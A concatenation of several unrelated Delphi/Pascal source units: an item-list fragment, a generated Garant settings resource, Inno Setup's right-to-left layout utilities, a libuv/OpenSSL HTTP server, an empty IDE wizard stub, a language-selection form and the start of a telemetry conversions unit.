fpNumber: Result := j;
fpID: Result := Items[j].ID;
end;
Exit;
end;
end;
function CItemList.FindItemByID(ID: Integer): CItem;
var
j: Integer;
begin
Result := nil;
for j := 0 to Count - 1 do
if (Items[j].ID = ID) then
begin
Result := Items[j];
Exit;
end;
end;
function CItemList.GetItem(Index: Integer): CItem;
begin
Result := inherited Get(Index);
end;
function CItemList.GetText(AX, AY: Integer): string;
var
id: Integer;
begin
id := Find(AX, AY, fpID);
if (id = -1) or (id = 0) then
Result := ItemConfig.GetRandDefText
else
Result := ItemConfig.Items[id, ipDescription];
end;
procedure CItemList.SetItem(Index: Integer; const Value: CItem);
begin
inherited Put(Index, Value);
end;
var
i: Integer;
ItemParam: NItemParam;
FBaseItems: array[0..ItemMax - 1] of TBaseItem;
function BaseItems(Index: Integer): TBaseItem;
begin
Result := FBaseItems[GetWord(Index, 0)];
end;
initialization
TheItemConfig := TItemConfig.Create(TIniWrapper);
TheItemConfig.LoadFromFile(Path + 'data\Items.ini');
TheItemList := CItemList.Create();
for ItemParam := Low(NItemParam) to High(NItemParam) do
ItemParamNames[ItemParam] := EnumText(TypeInfo(NItemParam), Ord(ItemParam));
for i := 1 to ItemConfig.Count do
for ItemParam := Low(NItemParam) to High(NItemParam) do
if ItemParamType[ItemParam] in IntParamTypes then
FBaseItems[i].IntProps[ItemParam] := StrToIntDef(ItemConfig[i, ItemParam], 0)
else if ItemParamType[ItemParam] in TextParamTypes then
FBaseItems[i].TextProps[ItemParam] := ItemConfig[i, ItemParam]
else
Assert(False);
finalization
FreeAndNil(TheItemConfig);
FreeAndNil(TheItemList);
end.
|
unit DocumentShowChangesInfoSettingRes;
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// Библиотека "View"
// Модуль: "w:/garant6x/implementation/Garant/GbaNemesis/View/Document/DocumentShowChangesInfoSettingRes.pas"
// Родные Delphi интерфейсы (.pas)
// Generated from UML model, root element: <<UtilityPack::Class>> F1 Работа с документом и списком документов::Document::View::Document::DocumentShowChangesInfoSettingRes
//
// Ресурсы для настройки "Показывать историю изменений в документе"
//
//
// Все права принадлежат ООО НПП "Гарант-Сервис".
//
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ! Полностью генерируется с модели. Править руками - нельзя. !
{$Include w:\garant6x\implementation\Garant\nsDefine.inc}
interface
{$If not defined(Admin) AND not defined(Monitorings)}
uses
l3Interfaces,
afwInterfaces,
l3CProtoObject,
l3StringIDEx
;
const
{ ShowChangesInfoKey }
pi_Document_ShowChangesInfo = 'Работа с документом/Показывать историю изменений в документе';
{ Идентификатор настройки "Показывать историю изменений в документе" }
dv_Document_ShowChangesInfo = false;
{ Значение по-умолчанию настройки "Показывать историю изменений в документе" }
var
{ Локализуемые строки ShowChangesInfoValues }
str_ShowChangesInfo_Collapsed : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'ShowChangesInfo_Collapsed'; rValue : 'В свернутом виде');
{ В свернутом виде }
str_ShowChangesInfo_Expanded : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'ShowChangesInfo_Expanded'; rValue : 'В развернутом виде');
{ В развернутом виде }
const
{ Карта преобразования локализованных строк ShowChangesInfoValues }
ShowChangesInfoValuesMap : array [Boolean] of Pl3StringIDEx = (
@str_ShowChangesInfo_Collapsed
, @str_ShowChangesInfo_Expanded
);//ShowChangesInfoValuesMap
type
ShowChangesInfoValuesMapHelper = {final} class
{* Утилитный класс для преобразования значений ShowChangesInfoValuesMap }
public
// public methods
class procedure FillStrings(const aStrings: IafwStrings);
{* Заполнение списка строк значениями }
class function DisplayNameToValue(const aDisplayName: Il3CString): Boolean;
{* Преобразование строкового значения к порядковому }
end;//ShowChangesInfoValuesMapHelper
TShowChangesInfoValuesMapImplPrim = {abstract} class(Tl3CProtoObject, Il3IntegerValueMap)
{* Класс для реализации мапы для ShowChangesInfoValuesMap }
protected
// realized methods
function pm_GetMapID: Tl3ValueMapID;
procedure GetDisplayNames(const aList: Il3StringsEx);
{* заполняет список значениями "UI-строка" }
function MapSize: Integer;
{* количество элементов в мапе. }
function DisplayNameToValue(const aDisplayName: Il3CString): Integer;
function ValueToDisplayName(aValue: Integer): Il3CString;
public
// public methods
class function Make: Il3IntegerValueMap; reintroduce;
{* Фабричный метод для TShowChangesInfoValuesMapImplPrim }
end;//TShowChangesInfoValuesMapImplPrim
TShowChangesInfoValuesMapImpl = {final} class(TShowChangesInfoValuesMapImplPrim)
{* Класс для реализации мапы для ShowChangesInfoValuesMap }
public
// public methods
class function Make: Il3IntegerValueMap; reintroduce;
{* Фабричный метод для TShowChangesInfoValuesMapImpl }
end;//TShowChangesInfoValuesMapImpl
var
{ Локализуемые строки ShowChangesInfoName }
str_ShowChangesInfo : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'ShowChangesInfo'; rValue : 'Показывать историю изменений в документе');
{ Показывать историю изменений в документе }
{$IfEnd} //not Admin AND not Monitorings
implementation
{$If not defined(Admin) AND not defined(Monitorings)}
uses
l3MessageID,
l3String,
SysUtils,
l3Base
;
// start class ShowChangesInfoValuesMapHelper
class procedure ShowChangesInfoValuesMapHelper.FillStrings(const aStrings: IafwStrings);
var
l_Index: Boolean;
begin
aStrings.Clear;
for l_Index := Low(l_Index) to High(l_Index) do
aStrings.Add(ShowChangesInfoValuesMap[l_Index].AsCStr);
end;//ShowChangesInfoValuesMapHelper.FillStrings
class function ShowChangesInfoValuesMapHelper.DisplayNameToValue(const aDisplayName: Il3CString): Boolean;
var
l_Index: Boolean;
begin
for l_Index := Low(l_Index) to High(l_Index) do
if l3Same(aDisplayName, ShowChangesInfoValuesMap[l_Index].AsCStr) then
begin
Result := l_Index;
Exit;
end;//l3Same..
raise Exception.CreateFmt('Display name "%s" not found in map "ShowChangesInfoValuesMap"', [l3Str(aDisplayName)]);
end;//ShowChangesInfoValuesMapHelper.DisplayNameToValue
// start class TShowChangesInfoValuesMapImplPrim
class function TShowChangesInfoValuesMapImplPrim.Make: Il3IntegerValueMap;
var
l_Inst : TShowChangesInfoValuesMapImplPrim;
begin
l_Inst := Create;
try
Result := l_Inst;
finally
l_Inst.Free;
end;//try..finally
end;
function TShowChangesInfoValuesMapImplPrim.pm_GetMapID: Tl3ValueMapID;
{-}
begin
l3FillChar(Result, SizeOf(Result));
Assert(false);
end;//TShowChangesInfoValuesMapImplPrim.pm_GetMapID
procedure TShowChangesInfoValuesMapImplPrim.GetDisplayNames(const aList: Il3StringsEx);
{-}
begin
ShowChangesInfoValuesMapHelper.FillStrings(aList);
end;//TShowChangesInfoValuesMapImplPrim.GetDisplayNames
function TShowChangesInfoValuesMapImplPrim.MapSize: Integer;
{-}
begin
Result := Ord(High(Boolean)) - Ord(Low(Boolean));
end;//TShowChangesInfoValuesMapImplPrim.MapSize
function TShowChangesInfoValuesMapImplPrim.DisplayNameToValue(const aDisplayName: Il3CString): Integer;
{-}
begin
Result := Ord(ShowChangesInfoValuesMapHelper.DisplayNameToValue(aDisplayName));
end;//TShowChangesInfoValuesMapImplPrim.DisplayNameToValue
function TShowChangesInfoValuesMapImplPrim.ValueToDisplayName(aValue: Integer): Il3CString;
{-}
begin
Assert(aValue >= Ord(Low(Boolean)));
Assert(aValue <= Ord(High(Boolean)));
Result := ShowChangesInfoValuesMap[Boolean(aValue)].AsCStr;
end;//TShowChangesInfoValuesMapImplPrim.ValueToDisplayName
// start class TShowChangesInfoValuesMapImpl
var g_TShowChangesInfoValuesMapImpl : Pointer = nil;
procedure TShowChangesInfoValuesMapImplFree;
begin
IUnknown(g_TShowChangesInfoValuesMapImpl) := nil;
end;
class function TShowChangesInfoValuesMapImpl.Make: Il3IntegerValueMap;
begin
if (g_TShowChangesInfoValuesMapImpl = nil) then
begin
l3System.AddExitProc(TShowChangesInfoValuesMapImplFree);
Il3IntegerValueMap(g_TShowChangesInfoValuesMapImpl) := inherited Make;
end;
Result := Il3IntegerValueMap(g_TShowChangesInfoValuesMapImpl);
end;
{$IfEnd} //not Admin AND not Monitorings
initialization
{$If not defined(Admin) AND not defined(Monitorings)}
// Инициализация str_ShowChangesInfo_Collapsed
str_ShowChangesInfo_Collapsed.Init;
{$IfEnd} //not Admin AND not Monitorings
{$If not defined(Admin) AND not defined(Monitorings)}
// Инициализация str_ShowChangesInfo_Expanded
str_ShowChangesInfo_Expanded.Init;
{$IfEnd} //not Admin AND not Monitorings
{$If not defined(Admin) AND not defined(Monitorings)}
// Инициализация str_ShowChangesInfo
str_ShowChangesInfo.Init;
{$IfEnd} //not Admin AND not Monitorings
end. |
unit BidiUtils;
{
Inno Setup
Copyright (C) 1997-2007 Jordan Russell
Portions by Martijn Laan
For conditions of distribution and use, see LICENSE.TXT.
Bidi utility functions
$jrsoftware: issrc/Components/BidiUtils.pas,v 1.2 2007/11/27 04:52:53 jr Exp $
}
interface
uses
Windows, SysUtils, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
procedure FlipControls(const AParentCtl: TWinControl);
procedure FlipRect(var Rect: TRect; const ParentRect: TRect; const UseRightToLeft: Boolean);
function IsParentFlipped(const AControl: TControl): Boolean;
function IsParentRightToLeft(const AControl: TControl): Boolean;
function SetBiDiStyles(const AControl: TControl; var AParams: TCreateParams): Boolean;
var
{ These are set by the SetupForm unit: }
IsParentFlippedFunc: function(AControl: TControl): Boolean;
IsParentRightToLeftFunc: function(AControl: TControl): Boolean;
implementation
procedure FlipRect(var Rect: TRect; const ParentRect: TRect; const UseRightToLeft: Boolean);
var
W: Integer;
begin
if UseRightToLeft then begin
W := Rect.Right - Rect.Left;
Rect.Left := ParentRect.Right - (Rect.Left - ParentRect.Left) - W;
Rect.Right := Rect.Left + W;
end;
end;
function IsParentFlipped(const AControl: TControl): Boolean;
begin
if Assigned(IsParentFlippedFunc) then
Result := IsParentFlippedFunc(AControl)
else
Result := False;
end;
function IsParentRightToLeft(const AControl: TControl): Boolean;
begin
if Assigned(IsParentRightToLeftFunc) then
Result := IsParentRightToLeftFunc(AControl)
else
Result := False;
end;
function SetBiDiStyles(const AControl: TControl; var AParams: TCreateParams): Boolean;
begin
Result := IsParentRightToLeft(AControl);
if Result then
AParams.ExStyle := AParams.ExStyle or (WS_EX_RTLREADING or WS_EX_LEFTSCROLLBAR or WS_EX_RIGHT);
end;
procedure FlipControls(const AParentCtl: TWinControl);
var
ParentWidth, I: Integer;
Ctl: TControl;
begin
if AParentCtl.ControlCount = 0 then
Exit;
AParentCtl.DisableAlign;
try
ParentWidth := AParentCtl.ClientWidth;
for I := 0 to AParentCtl.ControlCount-1 do begin
Ctl := AParentCtl.Controls[I];
Ctl.Left := ParentWidth - Ctl.Width - Ctl.Left;
end;
finally
AParentCtl.EnableAlign;
end;
for I := 0 to AParentCtl.ControlCount-1 do
if AParentCtl.Controls[I] is TWinControl then
FlipControls(TWinControl(AParentCtl.Controls[I]));
end;
end.
|
unit np.HttpServer;
interface
uses sysUtils, np.common, np.Core, np.httpParser, np.url, np.buildData, np.buffer,
np.HttpUt, np.OpenSSL, np.libuv, np.ut, np.Promise, np.value;
type
IHttpRequest = interface
['{F951A32E-8461-4B71-9270-A37CA57899E9}']
function GetReqBody : BufferRef;
function GetReqPath : Utf8string;
function GetReqMethod : Utf8string;
function GetReqHeaders : THTTPHeader;
function GetData(const key: string): IValue;
procedure SetData(const key: string; const AData : IValue);
property Body : BufferRef read GetReqBody;
property Path : Utf8string read GetReqPath;
property Method : Utf8string read GetReqMethod;
property Headers: THTTPHeader read GetReqHeaders;
property AnyData[const key: string]: IValue read GetData write SetData;
end;
IHttpResponse = interface
['{98D9772D-CA13-4896-8382-477C15F1B332}']
procedure writeHeader(code:Integer);
procedure addHeader(const name: Utf8string; value: Utf8string);
procedure finish(data: BufferRef);
function isFinished: boolean;
end;
IHttpClient = interface(INPTCPStream)
['{59E92408-C62D-4463-AAA1-C759CD776159}']
procedure setOnRequest(proc: TProc);
end;
IHttpServer = interface(INPTCPServer)
['{FE95B0AB-BBD4-4BB3-8B59-55842AFEDE98}']
procedure setOnRequest( aOnReq: TProc<IHttpRequest, IHttpResponse> );
procedure setTimeout(value: int64);
function getTimeout : int64;
property timeout : int64 read GetTimeout write SetTimeout;
end;
THttpServer = class(TNPTCPServer, IHttpServer)
private
FOnRequest : TProc<IHttpRequest, IHttpResponse>;
FTimeout : int64;
Fctx : TSSL_CTX;
procedure setTimeout(value: int64);
function getTimeout : int64;
procedure setOnRequest( aOnReq: TProc<IHttpRequest, IHttpResponse> );
public
constructor Create(const addr : string; port : word; isSec:Boolean; const certFn,keyFn:Utf8String);
destructor Destroy; override;
end;
TNPHttpServer = THttpServer;
implementation
uses np.http_parser;
type
THttpClient = class(TNPTCPStream, IHttpClient, IHttpRequest, IHttpResponse)
// type
// TParseState = (psHeader,psBody,psProcess, psUpgrade);
private
FResponseFinished : Boolean;
Fsettings : Thttp_parser_settings;
FParser: Thttp_parser;
Flast_header_name: string;
FKeepAlive : Boolean;
// Fstate : TParseState;
FMethod : Utf8string;
FUri : Utf8string;
// FProtocol : Utf8string;
FHeaders : THTTPHeader;
FOnRequest : TProc;
FBody : BufferRef;
FResponse: TBuildData;
// FBuf : BufferRef;
FTimeout: INPTimer;
FTimeoutValue : int64;
FSSL : TSSL;
Fin_bio : TBIO;
Fout_bio: TBIO;
Fis_init_finished: integer;
FSSLData : TBytes;
FData: IValue;
procedure InitTimeout;
procedure writeHeader(code:Integer);
procedure addHeader(const name: Utf8string; value: Utf8string);
procedure finish(data: BufferRef);
function isfinished : Boolean;
// function ProcessNext : Boolean;
// procedure processBuf;
procedure setOnRequest(proc: TProc);
procedure onClose; override;
procedure do_handshake;
procedure do_shutdown;
function GetReqBody : BufferRef;
function GetReqPath : Utf8string;
function GetReqMethod : Utf8string;
function GetReqHeaders : THTTPHeader;
procedure InitRequest;
procedure SetData(const key: string; const Value : IValue);
function GetData(const key: string) : IValue;
public
constructor Create( server: INPTCPServer; Actx : TSSL_CTX);
destructor Destroy;override;
end;
{ THttpServer }
constructor THttpServer.Create(const addr: string; port: word; isSec:Boolean; const certFn,keyFn:Utf8String);
begin
inherited Create;
if isSec then
begin
Fctx := SSL_CTX_new( tls_server_method());
SSL_CTX_set_verify(FCTX, SSL_VERIFY_NONE, nil);
assert(assigned( Fctx ) );
assert( SSL_CTX_use_certificate_file(Fctx, @certFn[1], X509_FILETYPE_PEM) = 1);
assert( SSL_CTX_use_PrivateKey_file(FCtx, @keyFn[1], X509_FILETYPE_PEM) = 1);
assert(SSL_CTX_check_private_key(Fctx) = 1);
end;
bind(addr,port);
set_simultaneous_accepts(true);
set_nodelay(true);
listen(UV_DEFAULT_BACKLOG);
setOnClient(
procedure (server: INPTCPServer)
var
c : IHttpClient;
begin
c := THttpClient.Create(server, Fctx);
c.unref; //client droped if server shutdown
c.setOnRequest(
procedure
begin
if assigned(FonRequest) then
begin
FonRequest(c as IHttpRequest,c as IHttpResponse);
end;
end
);
end);
end;
destructor THttpServer.Destroy;
begin
if assigned(FCtx) then
SSL_CTX_free(Fctx);
inherited;
end;
function THttpServer.getTimeout: int64;
begin
result := FTimeout;
end;
procedure THttpServer.setOnRequest(aOnReq: TProc<IHttpRequest, IHttpResponse>);
begin
FOnRequest := aOnReq;
end;
procedure THttpServer.setTimeout(value: int64);
begin
Ftimeout := value;
end;
{ THttpClient }
procedure THttpClient.addHeader(const name: Utf8string; value: Utf8string);
begin
// if assigned(FResponse) then
// begin
FResponse.append(name).append(': ').append(value).append(#13#10);
// end
end;
//function ssl_verify_peer : integer; cdecl;
//begin
// result := 1;
//end;
function tos(const at:PAnsiChar; len: SiZE_t) : string;
begin
SetString(result,at,len);
end;
function on_message_begin( parser: PHttp_parser) : integer; cdecl;
begin
//outputdebugStr('on_message_begin');
THttpClient( parser.data ).InitRequest;
result := 0;
end;
function on_url(parser: PHttp_parser; const at: PAnsiChar; len:SIZE_T) : integer; cdecl;
begin
//outputdebugStr('on_url %s',[tos(at,len)]);
THttpClient( parser.data ).FUri := TURL._DecodeURL( tos(at,len) );
result := 0;
end;
function on_status(parser: PHttp_parser; const at: PAnsiChar; len:SIZE_T) : integer; cdecl;
begin
//request only
//outputdebugStr('on_status %s', [tos(at,len)]);
result := 0;
end;
function on_header_field(parser: PHttp_parser; const at: PAnsiChar; len:SIZE_T) : integer; cdecl;
begin
// outputdebugStr('on_header_field "%s"', [tos(at,len)]);
THttpClient( parser.data ).Flast_header_name := LowerCase( tos(at,len) );
result := 0;
end;
function on_header_value(parser: PHttp_parser; const at: PAnsiChar; len:SIZE_T) : integer; cdecl;
begin
// outputdebugStr('on_header_value "%s"', [tos(at,len)]);
with THttpClient( parser.data ) do
begin
// outputdebugStr('| %s = %s',[ Flast_header_name, tos(at,len) ] );
FHeaders.addSubFields( Flast_header_name, tos(at,len) );
Flast_header_name := '';
end;
result := 0;
end;
function on_headers_complete( parser: PHttp_parser) : integer; cdecl;
var
m : PAnsiChar;
begin
// outputdebugStr('on_header_complete');
with THttpClient( parser.data ) do
begin
m := http_method_str( http_parser_get_method(parser^));
FMethod := tos(m, CStrLen( m ) );
FHeaders.parse(Buffer.Null);
end;
result := 0;
end;
function on_body(parser: PHttp_parser; const at: PAnsiChar; len:SIZE_T) : integer; cdecl;
begin
//outputdebugStr('on_body "%s"', [tos(at,len)]);
with THttpClient( parser.data ) do
begin
optimized_append(FBody, BufferRef.CreateWeakRef(at,len) );
//OutputDebugStr('body chunk %d bytes/ %u/ %u',[len, FParser.content_length,FBody.length]);
end;
result := 0;
end;
function on_message_complete( parser: PHttp_parser) : integer; cdecl;
begin
//outputdebugStr('on_message_complete');
with THttpClient( parser.data ) do
begin
FKeepAlive := (http_should_keep_alive(FParser)<>0) and assigned(FOnRequest);
if assigned( FOnRequest ) then
begin
FOnRequest();
InitTimeout;
end
else
begin
do_shutdown;
end;
end;
result := 0;
end;
function on_chunk_header( parser: PHttp_parser) : integer; cdecl;
begin
//outputdebugStr('on_chunk_header');
result := 0;
end;
function on_chunk_complete( parser: PHttp_parser) : integer; cdecl;
begin
//outputdebugStr('on_chunk_complete');
result := 0;
end;
constructor THttpClient.Create(server: INPTCPServer; Actx : TSSL_CTX);
//var
// KEY_PASSWD : PAnsiChar;
begin
http_parser_settings_init(FSettings);
FSettings.on_message_begin := on_message_begin;
FSettings.on_url := on_url;
FSettings.on_status := on_status;
FSettings.on_header_field := on_header_field;
FSettings.on_header_value := on_header_value;
FSettings.on_headers_complete := on_headers_complete;
FSettings.on_body := on_body;
FSettings.on_message_complete := on_message_complete;
FSettings.on_chunk_header := on_chunk_header;
FSettings.on_chunk_complete := on_chunk_complete;
http_parser_init( FParser, HTTP_REQUEST );
FParser.data := self;
if assigned(Actx) then
begin
Fin_bio := BIO_new(BIO_s_mem());
assert(Fin_bio <> nil);
BIO_set_mem_eof_return(Fin_bio,-1);
Fout_bio := BIO_new(BIO_s_mem());
assert(Fout_bio <> nil);
BIO_set_mem_eof_return(Fout_bio,-1);
FSSL := SSL_new(ACtx);
assert(assigned( FSSL ) );
SSL_set_accept_state(FSSL);
SSL_set_bio(FSSL, Fin_bio, Fout_bio);
setLength( FSSLData, 4096);
do_handshake;
end;
FHeaders := THTTPHeader.Create(Buffer.Null);
// Fstate := psHeader;
FTimeoutValue := (server as IHttpServer).Timeout;
InitTimeout;
inherited CreateClient(server);
if assigned(Actx) then
begin
setOnData(
procedure (data_: PBufferRef)
var
nbytes : integer;
data : BufferRef;
begin
data := data_^;
try
while data.length > 0 do
begin
nbytes := BIO_write(Fin_bio,data.ref,data.length);
assert( nbytes > 0);
data.TrimL(nbytes);
do_handshake;
if Fis_init_finished = 1 then
begin
// if FState = psFin then
// exit;
repeat
nbytes := SSL_read(FSSL,@FSSLData[0],length(FSSLData));
if nbytes <= 0 then
break;
http_parser_execute(FParser,Fsettings,pAnsiChar( @FSSLData[0] ), nbytes);
//optimized_append(FBuf, BufferRef.CreateWeakRef(@FSSLData[0],nbytes));
until false;
//processBuf;
end;
end;
except
Clear;
end;
end)
end
else
begin
setOnData(
procedure (data: PBufferRef)
begin
if assigned(data) and (data.length > 0) then
http_parser_execute(FParser,Fsettings,pAnsiChar( data.ref ), data.length);
// optimized_append(FBuf, data^);
// processBuf;
end);
end;
setOnEnd(
procedure
begin
if http_message_needs_eof(FParser) <> 0 then
http_parser_execute(FParser,Fsettings,nil,0);
end
);
end;
destructor THttpClient.Destroy;
begin
//FreeAndNil(FResponse);
FreeAndNil(FHeaders);
if assigned(FSSL) then
begin
SSL_free(FSSL);
FSSL := nil;
end;
inherited;
end;
procedure THttpClient.do_handshake;
var
err : integer;
nbytes : integer;
begin
if Fis_init_finished <> 1 then
begin
Fis_init_finished := SSL_do_handshake(Fssl);
if Fis_init_finished <> 1 then
begin
err := SSL_get_error(Fssl, Fis_init_finished);
//WriteLn(Format('handshake error: %d',[err]));
if Fis_init_finished = 0 then
begin
//WriteLn(Format('fatal code:%d',[err]));
abort;
end;
if err = SSL_ERROR_WANT_READ then
begin
// len := BIO_read(Fout_bio,@FSSLData[0],length(FSSLData));
// assert(len > 0);
// write(@FSSLData[0],len);
end
else
if err = SSL_ERROR_WANT_WRITE then
begin
//WriteLn('SSL_ERROR_WANT_WRITE');
end
else
abort;
end
else
begin
end;
end;
repeat
nbytes := BIO_read(Fout_bio,@FSSLData[0],length(FSSLData));
if nbytes <= 0 then
break;
write(BufferRef.CreateWeakRef( @FSSLData[0],nbytes) );
until false;
end;
procedure THttpClient.do_shutdown;
var
res : integer;
len : integer;
begin
if assigned(FSSL) then
begin
res := SSL_shutdown(Fssl);
if res = 0 then
res := SSL_shutdown(Fssl);
repeat
len := BIO_read(Fout_bio,@FSSLData[0],length(FSSLData));
if len <= 0 then
begin
break;
end;
write(BufferRef.CreateWeakRef( @FSSLData[0],len) );
until false;
end;
setOnData(nil);
shutdown(nil);
end;
procedure THttpClient.finish(data: BufferRef);
var
len,nbytes : integer;
buf : BufferRef;
begin
if FResponseFinished then
exit; //do nothing. TODO: raise exception?
FResponseFinished := true;
http_parser_init( FParser, HTTP_REQUEST );
// http_parser_init( FParser, HTTP_REQUEST );
// if FState = psProcess then
// begin
if FKeepAlive then
addHeader('Connection','keep-alive')
else
addHeader('Connection','close');
addHeader('Content-Length',IntToStr(data.length));
FResponse.append(#13#10);
FResponse.append(data); //WriteBuffer(data.ref^,data.length);
// write(FResponse.Memory,FResponse.Position);
if assigned(FSSL) then
begin
nbytes := SSL_write(Fssl,FResponse.buf.ref, FResponse.buf.length);
assert( nbytes = FResponse.buf.length);
FResponse.buf.length := 0; //reset
buf := FResponse.buf.maximalize;
repeat
len := BIO_read(Fout_bio,buf.ref,buf.length);
if len <= 0 then
break;
write(buf.slice(0,len));
until false;
end
else
begin
write( FResponse.buf );
FResponse.buf.length := 0; //reset
end;
if not FKeepAlive then
begin
do_shutdown;
// FState := psFin;
// shutdown(nil);
end
else
begin
// Fstate := psHeader;
// setImmediate(
// procedure
// begin
// processBuf;
// end);
end;
// end;
end;
function THttpClient.GetData(const key: string) : IValue;
begin
result := (FData as TAnyObject).Value[key];
end;
function THttpClient.GetReqBody: BufferRef;
begin
result := FBody;
end;
function THttpClient.GetReqHeaders: THTTPHeader;
begin
result := FHeaders;
end;
function THttpClient.GetReqMethod: Utf8string;
begin
result := FMethod;
end;
function THttpClient.GetReqPath: Utf8string;
begin
result := FUri;
end;
procedure THttpClient.InitRequest;
begin
FData := TAnyObject.Create;
FHeaders.Clear;
FBody.length := 0;
FResponseFinished := false;
FUri := '';
FMethod := '';
end;
procedure THttpClient.InitTimeout;
begin
if assigned(FTimeout) then
begin
FTimeout.Clear;
FTimeout := nil;
end;
if FTimeoutValue > 0 then
begin
FTimeout := SetTimeout(
procedure
begin
do_shutdown;
end, FTimeoutValue);
end;
end;
function THttpClient.isfinished: Boolean;
begin
result := FResponseFinished;
end;
procedure THttpClient.onClose;
begin
FOnRequest := nil;
if assigned( FTimeout ) then
begin
FTimeout.Clear;
FTimeout := nil;
end;
inherited;
end;
procedure THttpClient.SetData(const key: string; const Value: IValue);
begin
(FData as TAnyObject)[key] := value;
end;
procedure THttpClient.setOnRequest(proc: TProc);
begin
FOnRequest := proc;
end;
procedure THttpClient.writeHeader(code: Integer);
begin
// FResponseFinished := false;
FResponse.buf.length := 0;
FResponse.append( Format('HTTP/%d.%d %d %s'#13#10,[FParser.http_major,FParser.http_minor,code,ResponseText(Code)]));
end;
end.
|
unit lopes.TestHelper.Wizard;
interface
uses ToolsApi, Vcl.Menus;
type
TSeting = (seProject, seBefore, seAfter, seZip);
TTesteHelperWizard = class(TNotifierObject, IOTAWizard)
strict private
FTestingHelperMenu: TMenuItem;
strict protected
Procedure BeforeCompilationClick(Sender: TObject);
Procedure AfterCompilationClick(Sender: TObject);
Procedure ToggleEnabled(Sender: TObject);
Procedure CheckForUpdatesClick(Sender: TObject);
Procedure FontDialogueClick(Sender: TObject);
Procedure ZIPDialogueClick(Sender: TObject);
Procedure ZIPDialogueUpdate(Sender: TObject);
Procedure GlobalOptionDialogueClick(Sender: TObject);
Procedure ProjectOptionsClick(Sender: TObject);
Procedure ProjectOptionsUpdate(Sender: TObject);
Procedure UpdateEnabled(Sender: TObject);
Procedure BeforeCompilationUpdate(Sender: TObject);
Procedure AfterCompilationUpdate(Sender: TObject);
Procedure ProjectOptions(Project: IOTAProject);
Procedure BeforeCompilation(Project: IOTAProject);
Procedure AfterCompilation(Project: IOTAProject);
Procedure ZIPOptions(Project: IOTAProject);
Procedure AboutClick(Sender: TObject);
Procedure HelpClick(Sender: TObject);
Procedure MenuTimerEvent(Sender: TObject);
public
procedure Execute;
function GetIDString: string;
function GetName: string;
function GetState: TWizardState;
constructor Create;
destructor Destroy; override;
end;
implementation
uses
lopes.TestHelper.Utils;
{ TTesteHelperWizard }
procedure TTesteHelperWizard.AboutClick(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.AfterCompilation(Project: IOTAProject);
begin
end;
procedure TTesteHelperWizard.AfterCompilationClick(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.AfterCompilationUpdate(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.BeforeCompilation(Project: IOTAProject);
begin
end;
procedure TTesteHelperWizard.BeforeCompilationClick(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.BeforeCompilationUpdate(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.CheckForUpdatesClick(Sender: TObject);
begin
end;
constructor TTesteHelperWizard.Create;
begin
FTestingHelperMenu:= THelperUtils.CreateMenuItem('ITHTestingHelper', '&Testing Helper', 'Tools',
Nil, Nil, True, False, '');
end;
destructor TTesteHelperWizard.Destroy;
begin
inherited;
end;
procedure TTesteHelperWizard.Execute;
begin
end;
procedure TTesteHelperWizard.FontDialogueClick(Sender: TObject);
begin
end;
function TTesteHelperWizard.GetIDString: string;
begin
Result := 'TestingHelper';
end;
function TTesteHelperWizard.GetName: string;
begin
Result := 'Testing Helper - Support for running external tools before and ' + 'after compilations.';
end;
function TTesteHelperWizard.GetState: TWizardState;
begin
Result := [wsEnabled];
end;
procedure TTesteHelperWizard.GlobalOptionDialogueClick(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.HelpClick(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.MenuTimerEvent(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.ProjectOptions(Project: IOTAProject);
begin
end;
procedure TTesteHelperWizard.ProjectOptionsClick(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.ProjectOptionsUpdate(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.ToggleEnabled(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.UpdateEnabled(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.ZIPDialogueClick(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.ZIPDialogueUpdate(Sender: TObject);
begin
end;
procedure TTesteHelperWizard.ZIPOptions(Project: IOTAProject);
begin
end;
end.
|
unit FMain;
interface
uses
MLanguage,
Forms,
Classes,
Controls,
ExtCtrls,
StdCtrls,
ComCtrls,
NLDTGlobal,
NLDTManager,
NLDTranslate;
type
TfrmMain = class(TForm)
nldTranslate: TNLDTranslate;
lstLanguages: TListBox;
pnlEnum: TPanel;
sbStatus: TStatusBar;
procedure FormCreate(Sender: TObject);
procedure lstLanguagesClick(Sender: TObject);
end;
implementation
{$R *.dfm}
procedure TfrmMain.FormCreate;
var
iFile: Integer;
begin
// List available languages
lstLanguages.Items.Add('[None (undo changes)]');
with dmLanguage.nldtManager do
for iFile := 0 to Files.Count - 1 do
lstLanguages.Items.AddObject(Files[iFile].Description, Files[iFile]);
lstLanguages.ItemIndex := 0;
if Assigned(lstLanguages.OnClick) then
lstLanguages.OnClick(lstLanguages);
end;
procedure TfrmMain.lstLanguagesClick;
var
pFile: TNLDTFile;
begin
pFile := TNLDTFile(lstLanguages.Items.Objects[lstLanguages.ItemIndex]);
dmLanguage.nldtManager.ActiveFile := pFile;
end;
end.
|
{@html(<hr>)
@abstract(Unit providing routines for variables conversions.)
@author(František Milt <fmilt@seznam.cz>)
@created(2014-04-30)
@lastmod(2014-04-30)
@bold(@NoAutoLink(TelemetryConversions))
©František Milt, all rights reserved.
This unit contains routines used for conversions between selected
non-localized SDK types and their no-pointer alternatives.
Last change: 2014-04-30
Change List:@unorderedList(
@item(2014-04-30 - First stable version.)
@item(2014-04-30 - Functions scs_value_localized and scs_value were moved to
this unit.))
@html(<hr>)}
unit TelemetryConversions;
interface
{$INCLUDE '.\Telemetry_defs.inc'}
uses
TelemetryCommon,
{$IFDEF UseCondensedHeader}
SCS_Telemetry_Condensed;
{$ELSE}
scssdk,
scssdk_value,
scssdk_telemetry_event;
{$ENDIF}
